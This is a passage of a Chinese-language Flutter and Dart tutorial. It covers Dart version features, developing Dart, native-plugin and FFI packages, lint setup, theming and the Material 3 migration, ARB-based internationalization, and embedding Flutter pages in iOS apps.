    • 允许开发者在运行时修改Widget属性,实时查看效果。
  • 源代码调试
    • 增强了源代码级别的调试功能,包括断点设置、变量查看等。
    • 提供了调用堆栈和异常信息,帮助开发者快速定位问题。

二、dart 版本

Dart 2.x 版本
  • Dart 2.15
    • 新增了具备更快并发能力的isolates,并引入了isolate groups概念,使得在isolate groups中启动额外的isolate可以快100倍,且内存使用更少。
    • 支持了tear-off的构造函数,即可以通过构造函数的名称创建一个指向该构造函数的函数对象。
    • 对dart:core库的枚举支持进行了改进。
    • 提供了包发布者的新功能。
  • Dart 2.12 及之前版本(具体细节可能因版本而异,但以下是一些普遍的新特性)
    • 引入了空安全(Null Safety)特性,这是Dart 2.12版本中的重大更新,它要求开发者在变量声明时明确其是否为可空,从而避免了大量的空指针异常。
    • 增强了类型系统,提供了更丰富的类型检查和转换功能。
    • 对异步编程进行了优化,提供了更简洁的async/await语法,并增强了Future和Stream的使用体验。
    • 引入了新的语言特性,如可选命名参数、可选位置参数等,使得函数调用更加灵活。
    • 对Dart VM和编译器进行了优化,提高了程序的运行速度和编译效率。
Dart 1.x 版本
  • Dart 1.9
    • 引入了async方法和await表达式,这两个特性都是基于现有的Future API,使得异步编程更加简洁和直观。
    • 引入了新的正则引擎,显著提升了正则表达式的匹配速度和效率。
  • Dart 1.12 RC0
    • 新增了大量null-aware操作符语言特性,如??(if null operator)、??=(null-aware assignment)、x?.p(null-aware access)和x?.m()(null-aware method invocation)等,这些特性使得在处理可能为null的变量时更加安全和便捷。
  • Dart 1.x 早期版本(具体版本和特性可能因时间久远而无法准确追溯)
    • Dart语言在早期版本中逐渐形成了自己的语法和语义体系,包括变量声明、函数定义、类与对象、异常处理等基本概念。
    • 提供了丰富的标准库和API,支持文件I/O、网络编程、多线程(通过isolates实现)等高级功能。
    • 强调了类型安全和内存管理的重要性,通过静态类型检查和垃圾回收机制等手段确保程序的稳定性和可靠性。

Package

Package 介绍

Flutter packages 分为几种类型,主要包括:

  1. 纯 Dart 的 packages:完全用 Dart 语言编写的库,可以跨平台使用,无需特定于平台的实现。
  2. 原生插件类型的 packages:包含平台特定代码(如 Java/Kotlin 用于 Android,Swift/Objective-C 用于 iOS)的插件,用于访问原生平台的功能。
  3. FFI(外部函数接口)插件:允许 Dart 代码调用本地(C/C++)代码,实现高性能和底层访问。

开发纯 Dart 的 packages

第一步:创建 package

使用 Flutter CLI 创建一个新的 Dart package:

flutter create --template=package my_dart_package

第二步:实现 package

lib 目录下编写 Dart 代码,定义你的包的功能。例如,一个简单的数学运算库:

// lib/my_dart_package.dart
library my_dart_package;
 
class MathUtils {
  static int add(int a, int b) {
    return a + b;
  }
}

开发原生插件类型的 packages

联合插件

Flutter 插件通常包含 Dart 代码和平台特定代码。Dart 代码作为插件的接口,而平台特定代码则实现具体功能。

指定一个插件支持的平台

pubspec.yaml 中指定支持的平台:

flutter:
  plugin:
    platforms:
      android:
        package: com.example.myplugin
        pluginClass: MyPlugin
      ios:
        pluginClass: MyPlugin

第一步:创建 package

使用 Flutter CLI 创建一个新的插件:

flutter create --template=plugin my_plugin

第二步:实现 package

androidios 目录下实现平台特定代码。例如,在 Android 中:

// android/src/main/java/com/example/myplugin/MyPlugin.java
package com.example.myplugin;
 
import io.flutter.embedding.engine.plugins.FlutterPlugin;
import io.flutter.embedding.engine.plugins.activity.ActivityAware;
import io.flutter.embedding.engine.plugins.activity.ActivityPluginBinding;
import io.flutter.plugin.common.MethodCall;
import io.flutter.plugin.common.MethodChannel;
import io.flutter.plugin.common.MethodChannel.MethodCallHandler;
import io.flutter.plugin.common.MethodChannel.Result;
import android.app.Activity;
import android.content.Context;
 
public class MyPlugin implements FlutterPlugin, MethodCallHandler, ActivityAware {
  private MethodChannel channel;
  private Context applicationContext;
  private Activity activity;
 
  @Override
  public void onAttachedToEngine(FlutterPluginBinding flutterPluginBinding) {
    channel = new MethodChannel(flutterPluginBinding.getBinaryMessenger(), "my_plugin");
    channel.setMethodCallHandler(this);
    applicationContext = flutterPluginBinding.getApplicationContext();
  }
 
  @Override
  public void onMethodCall(MethodCall call, Result result) {
    if (call.method.equals("getPlatformVersion")) {
      String version = android.os.Build.VERSION.RELEASE;
      result.success(version);
    } else {
      result.notImplemented();
    }
  }
 
  @Override
  public void onDetachedFromEngine(FlutterPluginBinding binding) {
    channel.setMethodCallHandler(null);
  }
 
  @Override
  public void onAttachedToActivity(ActivityPluginBinding binding) {
    activity = binding.getActivity();
  }
 
  @Override
  public void onDetachedFromActivityForConfigChanges() {
    activity = null;
  }
 
  @Override
  public void onReattachedToActivityForConfigChanges(ActivityPluginBinding binding) {
    activity = binding.getActivity();
  }
 
  @Override
  public void onDetachedFromActivity() {
    activity = null;
  }
}

为现有的插件项目加入平台的支持

如果你已经有一个 Dart package,并想添加平台支持,可以手动添加 androidios 目录,并按照上述方式实现平台代码。

Dart 的平台实现

Dart 代码通过 MethodChannel 与平台代码通信。例如:

// lib/my_plugin.dart
import 'package:flutter/services.dart';
 
class MyPlugin {
  static const MethodChannel _channel = const MethodChannel('my_plugin');
 
  static Future<String?> get platformVersion async {
    final String? version = await _channel.invokeMethod('getPlatformVersion');
    return version;
  }
}

测试你的插件

example 目录下创建一个 Flutter 应用,用于测试你的插件。

开发 FFI 插件

第 1 步:创建 package

使用 Flutter CLI 创建一个新的 FFI 插件(虽然 Flutter CLI 目前没有直接支持 FFI 插件的模板,但你可以手动创建):

flutter create --template=package my_ffi_plugin

第 2 步:构建和绑定本地原生代码

编写本地(C/C++)代码,并编译成共享库(如 .so.dylib.dll)。

第 3 步:绑定本地原生代码

使用 Dart 的 dart:ffi 库绑定本地代码。例如:

// lib/my_ffi_plugin.dart
import 'dart:ffi';
import 'package:ffi/ffi.dart';
 
typedef NativeAddFunc = NativeFunction<Int32 Function(Int32, Int32)>;
typedef AddFunc = int Function(int, int);
 
class MyFFIPlugin {
  static DynamicLibrary _openLibrary() {
    if (Platform.isAndroid) {
      return DynamicLibrary.open("libmy_ffi_native.so");
    } else if (Platform.isLinux) {
      return DynamicLibrary.open("libmy_ffi_native.so");
    } else if (Platform.isMacOS) {
      return DynamicLibrary.open("libmy_ffi_native.dylib");
    } else if (Platform.isWindows) {
      return DynamicLibrary.open("my_ffi_native.dll");
    } else {
      throw UnsupportedError("This platform is not supported");
    }
  }
 
  static AddFunc? _addFunc;
 
  static int add(int a, int b) {
    _addFunc ??= _openLibrary()
        .lookup<NativeFunction<Int32 Function(Int32, Int32)>>('add')
        .asFunction<AddFunc>();
    return _addFunc!(a, b);
  }
}

第 4 步:调用本地原生代码

在你的 Dart 代码中调用绑定的函数:

void main() {
  print(MyFFIPlugin.add(3, 4)); // 输出 7
}

添加文档

API 文档

lib 目录下使用 DartDoc 生成 API 文档。例如,在 my_dart_package.dart 文件顶部添加文档注释:

/// 一个简单的数学运算库。
library my_dart_package;
 
/// 提供基本的数学运算功能。
class MathUtils {
  /// 返回两个整数的和。
  static int add(int a, int b) {
    return a + b;
  }
}

运行 flutter pub publish --dry-run 检查并生成文档。

将许可证添加到 LICENSE 文件中

确保你的包包含一个 LICENSE 文件,描述你的包的许可证类型。

提交 package

使用 flutter pub publish 命令将你的包发布到 pub.dev

Package 依赖处理

对于不同平台,你可能需要处理特定的依赖。例如,在 android/build.gradle 中添加 Android 依赖,在 ios/Podfile 中添加 iOS 依赖,或在 web/ 目录下添加 Web 特定的依赖。

// android/build.gradle
dependencies {
    implementation 'com.google.android.material:material:1.4.0'
}
# ios/Podfile
platform :ios, '10.0'
 
target 'Runner' do
  use_frameworks!
  pod 'SomeiOSLibrary', '~> 1.0'
end

Flutter Lint

package:flutter_lints是Flutter官方推荐的一个linting包,用于鼓励良好的编码实践。以下是package:flutter_lints的详细使用流程:

1、前提条件

确保你的Flutter开发环境已经正确配置,并且你的项目是基于Flutter框架构建的。

2、添加依赖

  1. 打开项目:使用你喜欢的IDE(如Android Studio、VSCode等)打开你的Flutter项目。
  2. 编辑pubspec.yaml:在项目的根目录下找到pubspec.yaml文件,并添加flutter_lints作为开发依赖(dev_dependency)。
dev_dependencies:
  flutter_lints: ^最新版本号

请注意,你应该使用flutter_lints的最新稳定版本。你可以在pub.dev上找到最新版本号。

  1. 运行flutter pub get:在终端中运行flutter pub get命令,以安装新添加的依赖。

3、创建或更新analysis_options.yaml

  1. 创建文件:如果你的项目根目录下还没有analysis_options.yaml文件,你需要创建一个。
  2. 添加内容:在analysis_options.yaml文件中,添加以下内容来激活flutter_lints中的推荐lint规则。
yaml复制代码
include: package:flutter_lints/flutter.yaml

如果你的项目已经有一个自定义的analysis_options.yaml文件,你只需要在文件的顶部添加上述include:指令即可。

4、配置自定义lint规则(可选)

如果你想自定义lint规则,你可以在analysis_options.yaml文件中添加或修改linter:部分下的rules:子部分。例如:

linter:
  rules:
    avoid_print: false  # 禁用avoid_print规则
    prefer_single_quotes: true  # 启用prefer_single_quotes规则

你可以根据需要启用或禁用特定的lint规则。所有可用的lint规则及其文档可以在Dart Linter规则索引上找到。

5、运行lint分析

  1. 使用IDE:大多数支持Dart的IDE都会自动显示lint分析器识别到的问题。你可以在IDE的用户界面中查看这些问题,并根据需要进行修复。
  2. 使用命令行:你也可以通过运行flutter analyze命令来手动调用lint分析器。在终端中运行此命令,lint分析器将扫描你的项目代码,并输出任何识别到的问题。

6、修复问题

根据lint分析器识别到的问题,你需要对代码进行相应的修复。修复可能包括重构代码、添加缺失的注释、修复类型错误等。

7、持续集成(可选)

如果你的项目使用了持续集成(CI)服务,你可以配置CI服务在每次代码更改时自动运行flutter analyze命令。这将确保你的代码始终符合良好的编码实践,并在问题出现时及时得到通知。

主题

Flutter中的主题(Theme)是应用于整个应用程序、屏幕或视图层次结构的样式集合,它可以帮助开发者统一应用的整体风格,提高用户体验。以下是对Flutter主题的详细介绍:

1、主题的定义与设置

在Flutter中,主题是通过ThemeData类来定义的。ThemeData类包含了应用的颜色、字体、图标等样式信息。通过设置主题,可以实现应用的整体风格统一。

  1. 定义主题

    在Flutter应用中,可以通过MaterialApp组件的theme属性来设置全局主题。例如:

    void main() {
      runApp(MaterialApp(
        home: MyAppHome(),
        theme: ThemeData(
          primarySwatch: Colors.blue,
          accentColor: Colors.blueAccent,
          fontFamily: 'Arial',
        ),
      ));
    }
    

    在上面的代码中,我们定义了一个全局主题,其中主色调为蓝色,辅助色调为蓝色点缀色,字体系列为Arial。

  2. 使用主题

    在Flutter组件中,可以通过Theme.of(context)方法来获取当前主题,并使用主题中的样式。例如:

    Text('Hello World', style: Theme.of(context).textTheme.headline6)
    

    在上面的代码中,我们获取了当前主题中的headline6文本样式,并将其应用于Text组件。

2、主题的自定义与扩展

Flutter提供了丰富的自定义和扩展主题的功能,以满足不同开发者的需求。

  1. 自定义颜色

    可以通过在ThemeData中设置colorScheme属性来自定义颜色方案。例如:

    ThemeData(
      colorScheme: ColorScheme.fromSeed(
        seedColor: Colors.green,
        background: Colors.white,
        error: Colors.red,
        onTertiary: Colors.orange,
      ),
    )
    

    在上面的代码中,我们定义了一个基于绿色种子颜色的颜色方案,并设置了背景色、错误色和次要文字颜色等。

  2. 自定义文本样式

    可以通过在ThemeData中设置textTheme属性来自定义文本样式。例如:

    ThemeData(
      textTheme: TextTheme(
        headline6: TextStyle(fontSize: 24, fontWeight: FontWeight.bold),
        bodyText2: TextStyle(fontSize: 16, color: Colors.grey),
      ),
    )
    

    在上面的代码中,我们自定义了headline6bodyText2两种文本样式。

  3. 自定义AppBar样式

    可以通过在ThemeData中设置appBarTheme属性来自定义AppBar的样式。例如:

    ThemeData(
      appBarTheme: AppBarTheme(
        elevation: 0,
        color: Colors.white,
        iconTheme: IconThemeData(color: Colors.black),
        textTheme: TextTheme(
          headline6: TextStyle(fontSize: 20, fontWeight: FontWeight.bold),
        ),
      ),
    )
    

    在上面的代码中,我们自定义了AppBar的高度、背景色、图标颜色和标题样式。

  4. 自定义按钮样式

    可以通过在ThemeData中设置buttonTheme属性来自定义按钮的样式。例如:

    ThemeData(
      buttonTheme: ButtonThemeData(
        shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(8)),
        buttonColor: Colors.blue,
        textTheme: ButtonTextTheme.primary,
      ),
    )
    

    在上面的代码中,我们自定义了按钮的形状、颜色和文本样式。

3、动态主题切换

Flutter还支持动态主题切换功能,可以根据用户的偏好或系统设置自动切换主题。

  1. 实现动态主题切换

    可以通过使用ThemeMode枚举来定义主题模式(亮色模式、深色模式或系统模式),并通过在MaterialApp组件中设置themeMode属性来实现动态主题切换。例如:

    class MyApp extends StatefulWidget {
      @override
      _MyAppState createState() => _MyAppState();
    }
     
    class _MyAppState extends State<MyApp> {
      ThemeMode _themeMode = ThemeMode.system;
     
      @override
      Widget build(BuildContext context) {
        return MaterialApp(
          title: 'Flutter Dynamic Theme',
          theme: ThemeData.light(),
          darkTheme: ThemeData.dark(),
          themeMode: _themeMode,
          home: HomePage(
            onThemeChanged: (ThemeMode themeMode) {
              setState(() {
                _themeMode = themeMode;
              });
            },
          ),
        );
      }
    }
     
    class HomePage extends StatelessWidget {
      final Function(ThemeMode) onThemeChanged;
     
      const HomePage({super.key, required this.onThemeChanged});
     
      @override
      Widget build(BuildContext context) {
        return Scaffold(
          appBar: AppBar(title: Text('动态主题切换')),
          body: Column(
            children: [
              ElevatedButton(
                onPressed: () => onThemeChanged(ThemeMode.light),
                child: Text('切换到亮色模式'),
              ),
              ElevatedButton(
                onPressed: () => onThemeChanged(ThemeMode.dark),
                child: Text('切换到深色模式'),
              ),
              ElevatedButton(
                onPressed: () => onThemeChanged(ThemeMode.system),
                child: Text('跟随系统设置'),
              ),
            ],
          ),
        );
      }
    }
    

    在上面的代码中,我们定义了一个支持动态主题切换的Flutter应用。通过点击按钮,可以在亮色模式、深色模式和系统模式之间切换。

  2. 自定义主题

    除了支持动态主题切换外,Flutter还支持自定义主题。可以通过在MaterialApp组件中设置theme属性为自定义的ThemeData对象来实现自定义主题。例如:

    ThemeData _customTheme() {
      return ThemeData(
        scaffoldBackgroundColor: Colors.yellow,
        // 其他自定义样式...
      );
    }
     
    // 在MaterialApp中使用自定义主题
    MaterialApp(
      title: 'Flutter Custom Theme',
      theme: _customTheme(),
      // 其他属性...
    )
    

    在上面的代码中,我们定义了一个自定义主题,并将其应用于MaterialApp组件中。

4、Material 3迁移中的变化和更新

  1. 默认主题变更

    • 从Flutter 3.16版本开始,useMaterial3标志默认为true,这意味着应用程序将自动采用Material 3设计规范的主题。
  2. 回退到Material 2

    • 尽管useMaterial3默认为true,但开发者仍然可以通过将useMaterial3设置为false来暂时回退到Material 2的行为。然而,这只是一个临时解决方案,Material 2的实现和useMaterial3标志最终将被移除。
  3. 颜色方案的更新

    • ThemeData.colorScheme的默认值已更新以匹配Material 3设计规范。
    • 引入了ColorScheme.fromSeed构造函数,它可以根据给定的种子颜色生成一个符合Material 3设计系统要求的颜色方案。
    • 迁移时,建议使用ColorScheme.fromSeed生成的颜色方案来确保UI的正确显示。
  4. 背景色和表面着色

    • Material 3引入了一个新的背景色ColorScheme.surfaceTint,它表示一个提升(elevated)组件的着色。
    • 一些组件可能会同时使用surfaceTintshadowColor来表示提升效果。
  5. 文字主题的更新

    • ThemeData.textTheme的默认值已更新以匹配Material 3的默认设置。
    • 更新包括字体大小、字体粗细、字母间距和行高等。
  6. 组件的迁移

    • 一些组件无法仅通过更新来匹配Material 3设计规范,而需要全新的实现。这些组件需要手动迁移。
    • 例如,BottomNavigationBar已被替换为新的NavigationBarDrawer已被替换为NavigationDrawer
  7. 应用栏的变化

    • Material 3引入了中等和大型应用栏,它们在滚动前会显示一个较大的标题。
    • 滚动时,不再使用阴影,而是使用ColorScheme.surfaceTint颜色来与内容创建分隔。
  8. 选项卡栏的变化

    • 现在有两种类型的TabBar组件:主要(primary)和次要(secondary)。
    • 次要选项卡用于内容区域内部,以进一步分隔相关内容并建立层次结构。
  9. 分段按钮

    • SegmentedButtonToggleButtons的更新版本,具有完全圆角、不同的布局高度和大小,并使用DartSet来确定选定的项目。
  10. 迁移代码示例

    • 文章中提供了多个迁移代码示例,包括颜色方案的迁移、组件的替换以及应用栏的实现等。

国际化

Flutter的国际化与本地化功能使得应用能够在不同的语言和地区环境中运行,满足不同用户的文化和语言需求。以下是对Flutter应用本地化的全面介绍,涵盖从配置到高级操作的各个方面。

国际化介绍

一、配置一个国际化的app:flutter_localizations package

  1. 安装依赖

    • pubspec.yaml文件中添加flutter_localizations依赖。
  2. 配置本地化资源

    • lib/l10n目录下创建ARB(Application Resource Bundle)文件,用于存储不同语言的翻译资源。
    • 每个语言或地区对应一个子目录,子目录中包含一个名为messages_xx.arb(xx为语言代码,如en、zh等)的文件。
  3. 配置MaterialApp

    • MaterialApp的构造函数中,通过localizationsDelegatessupportedLocales参数配置本地化支持。
    • localizationsDelegates参数指定了哪些本地化代理将被用于加载本地化资源。
    • supportedLocales参数定义了应用支持的语言环境列表。

二、重载语言

通过更改MaterialApplocale属性,可以实现语言的动态切换。这通常涉及到一个状态管理,以便在应用的不同部分之间共享当前的语言设置。

三、添加你自己的本地化信息

  1. 创建ARB文件

    • lib/l10n目录下的相应语言子目录中,创建或编辑ARB文件,添加或更新翻译资源。
  2. 使用占位符

    • 在ARB文件中,可以使用占位符来定义可替换的文本片段。这有助于在翻译时保持文本的灵活性和一致性。
  3. 处理复数和选项

    • Flutter的本地化系统支持复数和选项的处理。在ARB文件中,可以使用特定的语法来定义这些规则。

四、避免语法解析错误

在编写ARB文件时,需要注意避免语法解析错误。确保文件的格式正确,键和值都使用双引号括起来,并且遵循ARB文件的规范。

五、包含数字和货币的信息

在本地化过程中,需要特别注意数字和货币的格式。这些格式可能因地区而异,因此需要根据目标地区的习惯进行调整。

六、带日期的信息

日期和时间的格式也是本地化过程中需要重点关注的内容。Flutter提供了相应的API来处理不同地区的日期和时间格式。

七、iOS 本地化:更新 iOS app bundle

对于iOS应用,除了配置Flutter的本地化资源外,还需要更新iOS app bundle中的相关信息,以确保应用能够正确显示本地化的内容。

八、定制的进阶操作

  1. 高级语言环境定义

    • 可以根据需要定义更复杂的语言环境设置,以满足特定地区或用户群体的需求。
  2. 获取语言环境

    • 使用Locale类和Localizations Widget可以获取当前的语言环境信息。

九、配置l10n.yaml文件

l10n.yaml文件是Flutter Intl插件用于生成和管理本地化资源的配置文件。通过配置这个文件,可以方便地添加、删除和更新语言环境。

十、Flutter里的国际化是如何工作的

Flutter的国际化系统基于ARB文件和flutter_localizations包实现。在运行时,Flutter会根据当前的语言环境加载相应的ARB文件,并使用其中的翻译资源来替换应用中的文本。

十一、加载和获取本地化值

在Flutter应用中,可以使用Localizations.of<T>(context)方法获取当前上下文的本地化对象,并通过该对象访问翻译后的字符串。

十二、为app的本地化资源定义一个类

为了更方便地管理本地化资源,可以定义一个类来封装与本地化相关的逻辑和数据。这个类可以包含加载本地化资源、获取翻译字符串等方法。

十三、添加支持新的语言

要添加对新的语言的支持,只需在lib/l10n目录下创建相应的语言子目录和ARB文件,并在pubspec.yaml文件中添加相应的语言代码即可。然后运行flutter gen-l10n命令来生成新的本地化资源文件。

十四、其他的国际化方法

除了使用ARB文件和flutter_localizations包进行国际化外,Flutter还支持其他国际化方法,如使用JSON或XML文件存储翻译资源等。这些方法可以根据项目的具体需求进行选择。

十五、应用程序本地化资源的替代类

在某些情况下,可能需要使用替代类来管理应用程序的本地化资源。这些替代类可以提供更灵活或更强大的本地化功能,以满足特定项目的需求。

示例介绍

一、安装依赖

首先,在pubspec.yaml文件中添加必要的依赖:

dependencies:
  flutter:
    sdk: flutter
  flutter_localizations:
    sdk: flutter
  intl: ^0.19.0  # 或者最新版本
  flutter_intl:
    enabled: true
    # 其他配置参数...

然后,运行flutter pub get命令来安装这些依赖。

二、配置ARB文件

lib/l10n目录下创建两个ARB文件,分别用于存储英文和中文的翻译资源。

英文ARB文件(intl_en.arb
{
  "home": "Home",
  "settingLanguage": "Set Language",
  "languageName_en": "English",
  "languageName_zh": "Simplified Chinese",
  "login_pageName": "Login Page",
  "login_title": "Test App Demo",
  "login_userName": "Username",
  "login_userName_empty": "Username can't be empty!",
  "login_password": "Password",
  "login_password_empty": "Password can't be empty!",
  "login_btn": "Login"
}
中文ARB文件(intl_zh.arb
{
  "home": "首页",
  "settingLanguage": "语言设置",
  "languageName_en": "英语",
  "languageName_zh": "简体中文",
  "login_pageName": "登录页",
  "login_title": "App测试",
  "login_userName": "用户名",
  "login_userName_empty": "用户名不能为空!",
  "login_password": "密码",
  "login_password_empty": "密码不能为空!",
  "login_btn": "登录"
}

三、配置MaterialApp

main.dart文件中,配置MaterialApp以支持国际化:

import 'package:flutter/material.dart';
import 'package:flutter_localizations/flutter_localizations.dart';
import 'package:your_app_name/l10n.dart';  // 导入生成的本地化资源文件
 
void main() {
  runApp(MyApp());
}
 
class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
      theme: ThemeData(
        // ... 主题配置
      ),
      localizationsDelegates: const [
        S.delegate,        // 本地化的代理类
        GlobalMaterialLocalizations.delegate,
        GlobalCupertinoLocalizations.delegate,
        GlobalWidgetsLocalizations.delegate,
      ],
      supportedLocales: S.delegate.supportedLocales,  // 应用支持的语言环境列表
      locale: Locale('zh'),  // 默认语言环境,可以根据需要更改为其他语言
      home: MyHomePage(),
    );
  }
}

四、使用国际化字符串

在应用的各个页面中,可以使用S.of(context).xxx的方式来获取国际化后的字符串。例如:

import 'package:flutter/material.dart';
import 'package:your_app_name/l10n.dart';  // 导入生成的本地化资源文件
 
class MyHomePage extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text(S.of(context).home),  // 使用国际化后的字符串
      ),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: <Widget>[
            Text(S.of(context).login_title),
            TextField(
              decoration: InputDecoration(
                labelText: S.of(context).login_userName,
              ),
            ),
            TextField(
              decoration: InputDecoration(
                labelText: S.of(context).login_password,
              ),
              obscureText: true,
            ),
            ElevatedButton(
              onPressed: () {
                // 按钮点击事件处理
              },
              child: Text(S.of(context).login_btn),
            ),
          ],
        ),
      ),
    );
  }
}

五、动态切换语言

为了实现语言的动态切换,可以在应用中添加一个语言选择器,并在选择语言时更新MaterialApplocale属性。这通常涉及到一个状态管理,如使用ProviderGetXRiverpod等状态管理库。

原生集成flutter

集成Flutter限制

原生集成Flutter存在一些限制,这些限制主要源于Flutter与原生平台(如Android和iOS)之间的差异以及Flutter自身的架构设计。以下是一些主要的限制:

  • 移动端不支持多视图模式(仅限多引擎)。

  • 移动端不支持将多个 Flutter 库(Flutter 模块)同时打包进一个应用。

  • 移动端不支持 FlutterPlugin 的插件如果在 add-to-app 进行一些不合理的假设(例如假设 Flutter 的 Activity 始终存在),可能会出现意外行为。

  • Android 平台的 Flutter 模块仅支持适配了 AndroidX 的应用。

  • Web 端不支持多引擎模式(仅限多视图)。

  • Web 端无法完全“关闭” Flutter 引擎。应用程序可以移除所有 FlutterView 对象,并确保所有数据通过 Dart 常规的垃圾回收机制被清理。然而,即使引擎不再渲染任何内容,它仍会保持预热状态。

  1. 架构和兼容性限制
    • Flutter主要支持特定的CPU架构,如armeabi-v7a和arm64-v8a,这意味着在某些老旧或非主流的设备上可能无法运行Flutter应用。
    • Flutter与原生代码的交互需要一定的桥接机制,这可能会引入一些兼容性问题。
  2. 性能和资源限制
    • Flutter引擎需要占用一定的内存和CPU资源,这可能会影响原生应用的性能,特别是在资源受限的设备上。
    • Flutter的渲染机制与原生渲染机制不同,可能会导致在某些复杂场景下渲染性能的差异。
  3. 插件和库的限制
    • 虽然Flutter拥有丰富的插件生态系统,但并非所有原生库和插件都有对应的Flutter版本。这可能需要开发者自己编写桥接代码或使用其他替代方案。
    • Flutter插件的更新速度可能滞后于原生库的更新速度,这可能导致一些新功能或修复无法及时在Flutter应用中实现。
  4. 开发和调试限制
    • 在原生项目中集成Flutter后,开发和调试过程可能会变得更加复杂。开发者需要同时熟悉Flutter和原生平台的开发工具和调试技巧。
    • Flutter的热重载和热替换功能在原生集成环境中可能无法完全发挥作用,这会影响开发效率。
  5. 版本配套和依赖关系
    • Flutter播放器SDK等特定组件与Flutter SDK存在一定的配套关系。例如,某个版本的Flutter播放器SDK可能仅支持特定版本的Flutter SDK。这需要在集成时仔细核对版本信息。
    • Flutter和原生平台的依赖关系也可能导致一些兼容性问题。例如,Flutter可能依赖于特定版本的Android Gradle Plugin或Xcode等工具链。
  6. 部署和发布限制
    • 在将原生集成Flutter的应用部署到应用商店时,可能需要遵循特定的规则和指南。例如,苹果应用商店可能要求Flutter应用使用特定的构建配置和签名方式。
    • Flutter应用的包大小和下载速度也可能受到原生平台限制的影响。

iOS 中 Flutter页面

本段落示例代码收集自Flutter官方文档

一、启动FlutterEngine和FlutterViewController

为了在iOS应用中展示Flutter页面,需要启动FlutterEngine和FlutterViewController。FlutterEngine充当Dart VM和Flutter运行时的主机,而FlutterViewController则依附于FlutterEngine,传递UIKit的输入事件,并展示被FlutterEngine渲染的每一帧画面。

1. 创建一个FlutterEngine

创建FlutterEngine的位置取决于宿主类型。以下示例在SwiftUI项目中创建了一个FlutterEngine对象:

import SwiftUI
import Flutter
// 导入Flutter插件与iOS平台代码的连接库
import FlutterPluginRegistrant
 
@ObservableObject class FlutterDependencies {
    let flutterEngine = FlutterEngine(name: "my flutter engine")
    init() {
        // 运行默认的Dart入口点和Flutter路由
        flutterEngine.run()
        // 将插件与iOS平台代码连接到此应用
        GeneratedPluginRegistrant.register(with: self.flutterEngine)
    }
}
 
@main
struct MyApp: App {
    // 通过视图环境注入FlutterDependencies
    @StateObject var flutterDependencies = FlutterDependencies()
    var body: some Scene {
        WindowGroup {
            ContentView().environmentObject(flutterDependencies)
        }
    }
}
2. 使用FlutterEngine展示FlutterViewController

以下示例展示了如何创建一个FlutterViewControllerRepresentable来代表FlutterViewController,并通过视图环境注入FlutterEngine:

import SwiftUI
import Flutter
 
struct FlutterViewControllerRepresentable: UIViewControllerRepresentable {
    // 通过视图环境获取FlutterDependencies
    @EnvironmentObject var flutterDependencies
    
    func makeUIViewController(context: Context) -> some UIViewController {
        return FlutterViewController(engine: flutterDependencies.flutterEngine, nibName: nil, bundle: nil)
    }
    
    func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
        // 无需在此处进行更新操作
    }
}
 
struct ContentView: View {
    var body: some View {
        NavigationStack {
            NavigationLink("My Flutter Feature") {
                FlutterViewControllerRepresentable()
            }
        }
    }
}

二、隐式创建FlutterEngine

虽然推荐预热一个“长寿”的FlutterEngine以提高性能,但在某些情况下(如Flutter页面很少被展示时),可以选择让FlutterViewController隐式创建自己的FlutterEngine:

struct FlutterViewControllerRepresentable: UIViewControllerRepresentable {
    func makeUIViewController(context: Context) -> some UIViewController {
        return FlutterViewController(project: nil, nibName: nil, bundle: nil)
    }
    
    func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
        // 无需在此处进行更新操作
    }
}

三、使用FlutterAppDelegate

推荐让应用的UIApplicationDelegate继承FlutterAppDelegate,以利用其功能(如传递openURL回调到Flutter插件)。以下是在SwiftUI项目中创建FlutterAppDelegate子类的示例:

import SwiftUI
import Flutter
import FlutterPluginRegistrant
 
@ObservableObject class AppDelegate: FlutterAppDelegate {
    let flutterEngine = FlutterEngine(name: "my flutter engine")
    
    override func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        flutterEngine.run()
        // 连接插件(如果插件包含iOS平台代码)
        GeneratedPluginRegistrant.register(with: self.flutterEngine)
        return true
    }
}
 
@main
struct MyApp: App {
    // 告诉SwiftUI使用AppDelegate类作为应用委托
    @UIApplicationDelegateAdaptor(AppDelegate.self) var appDelegate
    
    var body: some Scene {
        WindowGroup {
            ContentView().environmentObject(appDelegate)
        }
    }
}
 
// 在FlutterViewControllerRepresentable中使用AppDelegate的FlutterEngine
struct FlutterViewControllerRepresentable: UIViewControllerRepresentable {
    // 通过视图环境获取AppDelegate
    @EnvironmentObject var appDelegate
    
    func makeUIViewController(context: Context) -> some UIViewController {
        return FlutterViewController(engine: appDelegate.flutterEngine, nibName: nil, bundle: nil)
    }
    
    func updateUIViewController(_ uiViewController: UIViewControllerType, context: Context) {
        // 无需在此处进行更新操作
    }
}

四、不能直接继承FlutterAppDelegate的情况

如果AppDelegate不能直接继承FlutterAppDelegate,可以让其实现FlutterAppLifeCycleProvider协议,以确保Flutter插件接收到必要的回调:

import Foundation
import Flutter
 
@ObservableObject class AppDelegate: UIResponder, UIApplicationDelegate, FlutterAppLifeCycleProvider {
    private let lifecycleDelegate = FlutterPluginAppLifeCycleDelegate()
    let flutterEngine = FlutterEngine(name: "my flutter engine")
    
    // 实现UIApplicationDelegate方法,并通过lifecycleDelegate转发回调
    // ...(此处省略了具体实现方法)
    
    func add(_ delegate: FlutterApplicationLifeCycleDelegate) {
        lifecycleDelegate.add(delegate)
    }
}

五、定制Flutter运行时

可以通过指定Dart入口、库和路由来定制Flutter运行时:

  • Dart入口:在FlutterEngine上调用run方法时,默认会调用lib/main.dart文件中的main函数。也可以使用runWithEntrypoint方法并指定另一个Dart入口。
  • Dart库:在指定Dart函数时,可以指定特定文件的特定函数。

六、其他注意事项

  • 在FlutterViewController展示Flutter UI之前,可以通过编写双端平台代码来推入数据和准备Flutter环境。
  • 本文档提及的内容适用于Flutter的最新稳定版本。

通过以上步骤和示例,可以轻松地在iOS项目中集成Flutter页面,并根据实际需求选择最佳集成方式。

Android 中 Flutter Fragment

概述

